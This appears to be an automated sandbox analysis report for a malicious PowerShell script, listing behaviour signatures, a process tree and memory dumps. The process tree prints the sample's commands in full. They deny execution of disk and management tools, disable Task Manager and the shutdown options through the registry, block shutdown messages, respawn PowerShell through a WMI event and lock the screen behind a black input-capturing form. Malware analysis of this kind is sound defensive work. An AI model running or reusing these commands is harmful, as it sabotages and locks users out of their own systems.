Analysis

  • max time kernel
    28s
  • max time network
    31s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/06/2026, 19:55

General

  • Target
    trigger.ps1
  • Size 10KB
  • Sample260619-ynbx2abs5n
  • SHA256 d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Possible privilege escalation attempt 12 IoCs
  • Modifies file permissions 1 TTPs 12 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskpart.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4752
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4148
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\format.com"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1088
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1580
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\cleanmgr.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2920
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\defrag.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4416
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5840
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5768
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3488
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3756
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\compmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2084
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2884
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
        3⤵
          PID:5656
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:988
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
          3⤵
            PID:4712
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5900
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            3⤵
              PID:1284
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4172
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              3⤵
                PID:4772
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class BlockShutdown : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ [Application]::Run(new-object BlockShutdown())
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4808
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3092
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-File "" -keep" } }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2956
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3748
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.TopMost = $true $form.ControlBox = $false $form.BackColor = 'Black' $form.Opacity = 1.0 $form.ShowInTaskbar = $false $form.KeyPreview = $false $form.Capture = $true $form.Add_KeyDown({ $_.SuppressKeyPress = $true }) $form.Add_MouseClick({ return }) $form.Add_MouseMove({ return }) $form.Add_Resize({ return }) $form.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $form.ClientRectangle) }) $form.ShowDialog()
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4112
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.BackColor = 'Black' $form.TopMost = $true $label = New-Object System.Windows.Forms.Label $label.Text = "Shutting down..." $label.ForeColor = 'White' $label.Font = New-Object System.Drawing.Font("Arial", 24) $label.AutoSize = $true $label.Location = New-Object System.Drawing.Point((($form.Width - $label.Width)/2), (($form.Height - $label.Height)/2)) $form.Controls.Add($label) $form.ShowDialog()
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3236

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 2275c8de0124592dcc6bba0c3d22f81a616bafd1341cf8fcc58a990cd537bb05
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 952B
                • SHA256 c5fd6d82c388ad801b8a16d62216433d22b114b18c307ac3bee3d174cae51da7
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 952B
                • SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_xfsdqvep.csk.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfsdqvep.csk.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/3412-11-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-30-0x000001D139E20000-0x000001D139E3E000-memory.dmp

                memory/3412-8-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-9-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-10-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-0-0x00007FFD69B9F000-0x00007FFD69BA0000-memory.dmp

                memory/3412-12-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-14-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-17-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-16-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-15-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-13-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-18-0x000001D139F80000-0x000001D13A0F6000-memory.dmp

                memory/3412-19-0x000001D13A310000-0x000001D13A51A000-memory.dmp

                memory/3412-6-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-7-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-31-0x000001D139E40000-0x000001D139EF2000-memory.dmp

                memory/3412-33-0x000001D139E10000-0x000001D139E1A000-memory.dmp

                memory/3412-34-0x000001D139F30000-0x000001D139F5A000-memory.dmp

                memory/3412-35-0x000001D139F30000-0x000001D139F54000-memory.dmp

                memory/3412-5-0x000001D1398C0000-0x000001D1398E2000-memory.dmp

                memory/3412-2-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-61-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-60-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-1-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3412-52-0x00007FFD69A10000-0x00007FFD6A3B4000-memory.dmp

                memory/3748-47-0x0000018C77030000-0x0000018C77036000-memory.dmp

                memory/3748-48-0x0000018C77040000-0x0000018C7704A000-memory.dmp

                memory/3748-46-0x0000018C76CA0000-0x0000018C76CA8000-memory.dmp

                memory/3748-45-0x0000018C77050000-0x0000018C7706C000-memory.dmp

                memory/3748-44-0x0000018C76C90000-0x0000018C76C9A000-memory.dmp

                memory/3748-43-0x0000018C76CB0000-0x0000018C76CCE000-memory.dmp